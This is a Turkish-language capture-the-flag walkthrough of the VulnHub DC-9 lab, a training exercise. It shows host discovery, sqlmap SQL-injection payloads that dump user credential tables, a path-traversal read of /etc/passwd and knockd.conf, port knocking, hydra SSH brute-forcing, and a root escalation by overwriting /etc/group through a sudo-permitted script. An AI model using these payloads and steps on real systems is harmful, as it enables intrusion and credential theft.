Makine Hakkında Bilgiler
Açıklama:
DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Vulnhub Sayfası:
https://www.vulnhub.com/entry/dc-9,412/
İndirme Sayfası:
https://download.vulnhub.com/dc/DC-9.zip
Walkthrough
Makineyi tespit ederek başlayalım.
┌──(root💀kali)-[~]
└─# arp-scan -l | grep 90:e4
192.168.31.113 08:00:27:da:90:e4 PCS Systemtechnik GmbH
┌──(root💀kali)-[~]
└─# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.31.102 netmask 255.255.255.0 broadcast 192.168.31.255
inet6 fe80::a00:27ff:fef2:f7d9 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:f2:f7:d9 txqueuelen 1000 (Ethernet)
RX packets 23 bytes 2832 (2.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 522 bytes 31806 (31.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(root💀kali)-[~]
└─#
nmap taraması ile devam edelim.
┌──(root💀kali)-[~]
└─# nmap 192.168.31.113 -p- -A -T4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-24 11:27 EDT
Nmap scan report for dc-9 (192.168.31.113)
Host is up (0.00062s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Example.com - Staff Details - Welcome
MAC Address: 08:00:27:DA:90:E4 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.62 ms dc-9 (192.168.31.113)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.01 seconds
Evet olay yine belli gibi ama bakalım. Web uygulamasını araştırmaya başlayalım. Nikto'da bir şey çıkmadı. Gobuster aşağıdaki gibi
┌──(root💀kali)-[~]
└─# gobuster dir --discover-backup --extensions txt,php,php5,backup,log,sql,html --follow-redirect --url http://192.168.31.113/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --status-codes-blacklist 404,403
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.31.113/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php5,backup,log,sql,html,txt,php
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
2021/06/24 11:29:38 Starting gobuster in directory enumeration mode
===============================================================
/search.php (Status: 200) [Size: 1091]
/index.php (Status: 200) [Size: 917]
/welcome.php (Status: 200) [Size: 1210]
/results.php (Status: 200) [Size: 1056]
/display.php (Status: 200) [Size: 2961]
/css (Status: 200) [Size: 933]
/includes (Status: 200) [Size: 747]
/logout.php (Status: 200) [Size: 1210]
/config.php (Status: 200) [Size: 0]
/manage.php (Status: 200) [Size: 1210]
/session.php (Status: 200) [Size: 1210]
===============================================================
2021/06/24 12:01:56 Finished
===============================================================
İnternet sayfası içerisinde gezinirken sqli olabileceğini düşündüm ve form kısımlarına teker teker sqli denemeye başladım.
┌──(root💀kali)-[~/oscp/dc9]
└─# cat istek
POST /results.php HTTP/1.1
Host: 192.168.31.113
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://192.168.31.113
Connection: close
Referer: http://192.168.31.113/search.php
Cookie: PHPSESSID=1ddhehu09fm84m2f2s2ggcjda1
Upgrade-Insecure-Requests: 1
search=asqlmap sq l injection buldu.
┌──(root💀kali)-[~/oscp/dc9]
└─# sqlmap -r istek --level=5 --risk=3 --dbs --batch
___
__H__
___ ___[(]_____ ___ ___ {1.5.5#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 11:39:16 /2021-06-24/
[11:39:16] [INFO] parsing HTTP request from 'istek'
[11:39:17] [INFO] testing connection to the target URL
[11:39:17] [INFO] checking if the target is protected by some kind of WAF/IPS
[11:39:17] [INFO] testing if the target URL content is stable
[11:39:17] [INFO] target URL content is stable
[11:39:17] [INFO] testing if POST parameter 'search' is dynamic
[11:39:17] [WARNING] POST parameter 'search' does not appear to be dynamic
[11:39:17] [WARNING] heuristic (basic) test shows that POST parameter 'search' might not be injectable
[11:39:17] [INFO] testing for SQL injection on POST parameter 'search'
[11:39:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:39:18] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[11:39:18] [INFO] POST parameter 'search' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="13")
[11:39:19] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[11:39:19] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[11:39:19] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[11:39:19] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[11:39:19] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[11:39:19] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[11:39:19] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[11:39:19] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[11:39:19] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[11:39:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[11:39:19] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[11:39:19] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[11:39:19] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[11:39:19] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[11:39:19] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[11:39:19] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[11:39:19] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[11:39:19] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[11:39:19] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[11:39:19] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[11:39:19] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[11:39:19] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[11:39:19] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[11:39:19] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[11:39:19] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[11:39:19] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[11:39:19] [INFO] testing 'Generic inline queries'
[11:39:19] [INFO] testing 'MySQL inline queries'
[11:39:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[11:39:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[11:39:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[11:39:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[11:39:19] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[11:39:19] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[11:39:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[11:39:29] [INFO] POST parameter 'search' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[11:39:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[11:39:29] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[11:39:30] [INFO] target URL appears to be UNION injectable with 6 columns
[11:39:30] [INFO] POST parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[11:39:30] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
POST parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 133 HTTP(s) requests:
---
Parameter: search (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: search=-9301' OR 8087=8087-- KuZR
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=a' AND (SELECT 3089 FROM (SELECT(SLEEP(5)))vFdQ)-- AgWE
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=a' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170786a71,0x494f4144624c496d59534d4c4e4655656143744154586a57776159515068757478734a546e464a51,0x7178626b71),NULL,NULL-- -
---
[11:39:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[11:39:30] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] Staff
[*] users
[11:39:30] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.31.113'
[*] ending @ 11:39:30 /2021-06-24/
sqlmap ile aşağıdaki sonuçları buldum.
Database: users
Table: UserDetails
[17 entries]
+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname | password | reg_date | username | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
| 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott |
+----+------------+---------------+---------------------+-----------+-----------+
Database: Staff
Table: StaffDetails
[17 entries]
+----+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+
| id | email | phone | lastname | reg_date | firstname | position |
+----+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+
| 1 | [email protected] | 46478415155456 | Moe | 2019-05-01 17:32:00 | Mary | CEO |
| 2 | [email protected] | 46457131654 | Dooley | 2019-05-01 17:32:00 | Julie | Human Resources |
| 3 | [email protected] | 46415323 | Flintstone | 2019-05-01 17:32:00 | Fred | Systems Administrator |
| 4 | [email protected] | 324643564 | Rubble | 2019-05-01 17:32:00 | Barney | Help Desk |
| 5 | [email protected] | 802438797 | Cat | 2019-05-01 17:32:00 | Tom | Driver |
| 6 | [email protected] | 24342654756 | Mouse | 2019-05-01 17:32:00 | Jerry | Stores |
| 7 | [email protected] | 243457487 | Flintstone | 2019-05-01 17:32:00 | Wilma | Accounts |
| 8 | [email protected] | 90239724378 | Rubble | 2019-05-01 17:32:00 | Betty | Junior Accounts |
| 9 | [email protected] | 189024789 | Bing | 2019-05-01 17:32:00 | Chandler | President - Sales |
| 10 | [email protected] | 232131654 | Tribbiani | 2019-05-01 17:32:00 | Joey | Janitor |
| 11 | [email protected] | 823897243978 | Green | 2019-05-01 17:32:00 | Rachel | Personal Assistant |
| 12 | [email protected] | 6549638203 | Geller | 2019-05-01 17:32:00 | Ross | Instructor |
| 13 | [email protected] | 8092432798 | Geller | 2019-05-01 17:32:00 | Monica | Marketing |
| 14 | [email protected] | 43289079824 | Buffay | 2019-05-01 17:32:02 | Phoebe | Assistant Janitor |
| 15 | [email protected] | 454786464 | McScoots | 2019-05-01 20:16:33 | Scooter | Resident Cat |
| 16 | [email protected] | 65464646479741 | Trump | 2019-12-23 03:11:39 | Donald | Replacement Janitor |
| 17 | [email protected] | 47836546413 | Morrison | 2019-12-24 03:41:04 | Scott | Assistant Replacement Janitor |
+----+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+
Database: Staff
Table: Users
[1 entry]
+--------+----------------------------------+----------+
| UserID | Password | Username |
+--------+----------------------------------+----------+
| 1 | 856f5de590ef37314e7c3bdf6f8a66dc | admin |
+--------+----------------------------------+----------+
856f5de590ef37314e7c3bdf6f8a66dc hash'ini internet üzerinnde https://www.md5online.org/md5-decrypt.html adresinden kırdım. Sonuç:transorbital1
Bunun üzerine web uygulamasına giriş yaptım. Uzunca bir süre içeride incelemeler yaptıktan sonra bir şey bulamadım. Ancak bazı sayfaların altında File does not exist bilgisi vardı. LFI olabileceğini düşündüm ve fuzzing yapmaya başladım.
http://192.168.31.113/welcome.php?file=../../../../../../../../../../../etc/passwd başarılı olmuştu. Dha önceki çözümlerimde de kullandığım lfi araçları ile (github'umda mevcut) bütün olası dosyaları burp aracılığı ile okumaya başladıımda etc/knockd.conf dosyasını buldum. ssh filtred olması ve bu dosya mükemmelid. Port knocking!
Dosya içeriği aşağıdaki gibi:
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn Hadi!
┌──(root💀kali)-[~/oscp/dc9]
└─# knock 192.168.31.113 7469 8475 9842
┌──(root💀kali)-[~/oscp/dc9]
└─# nmap 192.168.31.113 -p 22
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-24 14:19 EDT
Nmap scan report for dc-9 (192.168.31.113)
Host is up (0.00042s latency).
PORT STATE SERVICE
22/tcp open ssh
MAC Address: 08:00:27:DA:90:E4 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
Evet ssh açıldı. Şimdi sqli ile elde ettiğimiz kullanıcılarla bir saldırı yapalım.
┌──(root💀kali)-[~/oscp/dc9]
└─# cat users
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
root
┌──(root💀kali)-[~/oscp/dc9]
└─# cat passwords
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
┌──(root💀kali)-[~/oscp/dc9]
└─# hydra -L users -P passwords ssh://192.168.31.113 255 ⨯
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-24 14:19:41
[WARNING] module ssh does not support HYDRA_PROXY* !
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] the HYDRA_PROXY_HTTP environment variable works only with the http-head/http-get module, ignored...
[DATA] max 16 tasks per 1 server, overall 16 tasks, 289 login tries (l:17/p:17), ~19 tries per task
[DATA] attacking ssh://192.168.31.113:22/
[22][ssh] host: 192.168.31.113 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.31.113 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.31.113 login: janitor password: Ilovepeepee
1 of 1 target successfully completed, 3 valid passwords found
[WARNING] Writing restore file because 5 final worker threads did not complete until end.
[ERROR] 5 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-24 14:20:29
Harika! Kullanıcıların hepsi ile teker teker giriş yaptım ve incelemeler gerçekleştirdim. O esnada garip bir dosya buldum.
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
Burdaki bilgileri hydra ile tekrar kullandım yani parolaların son hali aşağıdaki gibi oldu.
┌──(root💀kali)-[~/oscp/dc9]
└─# cat passwords
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
Hydra saldırısı sonucu yeni kullanıcı geldi.
┌──(root💀kali)-[~/oscp/dc9]
└─# hydra -L users -P passwords ssh://192.168.31.113
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-24 14:24:59
[WARNING] module ssh does not support HYDRA_PROXY* !
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] the HYDRA_PROXY_HTTP environment variable works only with the http-head/http-get module, ignored...
[DATA] max 16 tasks per 1 server, overall 16 tasks, 414 login tries (l:18/p:23), ~26 tries per task
[DATA] attacking ssh://192.168.31.113:22/
[22][ssh] host: 192.168.31.113 login: fredf password: B4-Tru3-001
[22][ssh] host: 192.168.31.113 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.31.113 login: joeyt password: Passw0rd
[STATUS] 347.00 tries/min, 347 tries in 00:01h, 69 to do in 00:01h, 16 active
[22][ssh] host: 192.168.31.113 login: janitor password: Ilovepeepee
1 of 1 target successfully completed, 4 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-24 14:26:15
Bu kullanıcı ile içeri girdim ve incelemeler yapmaya başladım. Aşağıdaki sonucu yakaladım.
fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
fredf@dc-9:~$
fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test
Usage: python test.py read append
/opt/devstuff/dist/test/test root olarak çalıştırabilioruz ancak bir hata ile karşılaşıyoruz. Bunun üzerine çeşitli işlemler yaptım. Çalıştığım dizin test.py isimli bir dosya oluşturdum, parametre olarak onu verdim. Ancak aynı hataları aldım. python'ın tam konumunu parametre olarak verdim hata aldım. python2, pyhon3 akla gelebilecek her şey... Sonrasında aldığım bir hata da test.py dosyasıın 11. satırında bir uyarı veriyordu. Ancak benim test.py içerisinde sadece print "test" ifadesi vardı. Bunun üzerine aşağıdaki işlemi gerçekleştirdim.
fredf@dc-9:~$ find / -name test.py 2>/dev/null
/home/fredf/test.py
/opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py
fredf@dc-9:~$ ls -l /opt/devstuff/test.py
-rw-r--r-- 1 root root 250 Dec 29 2019 /opt/devstuff/test.py
fredf@dc-9:~$
fredf@dc-9:~$
fredf@dc-9:~$ cat /opt/devstuff/test.py
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()Mükemmel! İlk parametree aldığı dosyayı 2. parametredek dosyanın içerisine yazıyor. Aklıma hemen group dosyası geldi!
fredf@dc-9:~$ cat /etc/group >> copyGroupÇalıştığım dizine kopyaladım. root ve sudo grubuna fredf kullanıcısını ekledim. Son hali aşağıdaki gibi oldu.
fredf@dc-9:~$ cat copyGroup
root:x:0:fredf
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:fredf
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-timesync:x:102:
systemd-network:x:103:
systemd-resolve:x:104:
input:x:105:
kvm:x:106:
render:x:107:
crontab:x:108:
netdev:x:109:
messagebus:x:110:
ssh:x:111:
systemd-coredump:x:999:
ssl-cert:x:112:
mysql:x:113:
marym:x:1001:
julied:x:1002:
fredf:x:1003:
barneyr:x:1004:
tomc:x:1005:
jerrym:x:1006:
wilmaf:x:1007:
bettyr:x:1008:
chandlerb:x:1009:
joeyt:x:1010:
rachelg:x:1011:
rossg:x:1012:
monicag:x:1013:
phoebeb:x:1014:
scoots:x:1015:
janitor:x:1016:
janitor2:x:1017:
Hadi çalıştıralım.
fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test /home/fredf/copyGroup /etc/groupKullanıcımla tekrar giriş çıkış yaptım.
fredf@dc-9:~$ exit
logout
Connection to 192.168.31.113 closed.
┌──(root💀kali)-[~/oscp/dc9]
└─# ssh [email protected] 255 ⨯
[email protected]'s password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 25 04:27:40 2021 from 192.168.31.102
fredf@dc-9:~$ id
uid=1003(fredf) gid=1003(fredf) groups=1003(fredf),0(root),27(sudo)
fredf@dc-9:~$ cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
fredf ALL=(root) NOPASSWD: /opt/devstuff/dist/test/test
Harika! sudo grubunda olduğumuzda %sudo ALL=(ALL:ALL) ALL her şey bizim. Şimdi bunu doğrulayalım.
fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fredf may run the following commands on dc-9:
(ALL : ALL) ALL
(root) NOPASSWD: /opt/devstuff/dist/test/test
fredf@dc-9:~$ sudo su
[sudo] password for fredf:
root@dc-9:/home/fredf# whoami
root
root@dc-9:/home/fredf# cd /root/
root@dc-9:~# ls
theflag.txt
root@dc-9:~# cat theflag.txt
███╗ ██╗██╗ ██████╗███████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗██╗██╗██╗
████╗ ██║██║██╔════╝██╔════╝ ██║ ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║
██╔██╗ ██║██║██║ █████╗ ██║ █╗ ██║██║ ██║██████╔╝█████╔╝ ██║██║██║
██║╚██╗██║██║██║ ██╔══╝ ██║███╗██║██║ ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝
██║ ╚████║██║╚██████╗███████╗ ╚███╔███╔╝╚██████╔╝██║ ██║██║ ██╗██╗██╗██╗
╚═╝ ╚═══╝╚═╝ ╚═════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝╚═╝
Congratulations - you have done well to get to this point.
Hope you enjoyed DC-9. Just wanted to send out a big thanks to all those
who have taken the time to complete the various DC challenges.
I also want to send out a big thank you to the various members of @m0tl3ycr3w .
They are an inspirational bunch of fellows.
Sure, they might smell a bit, but...just kidding. :-)
Sadly, all things must come to an end, and this will be the last ever
challenge in the DC series.
So long, and thanks for all the fish.
İlk Yorumu Siz Yapın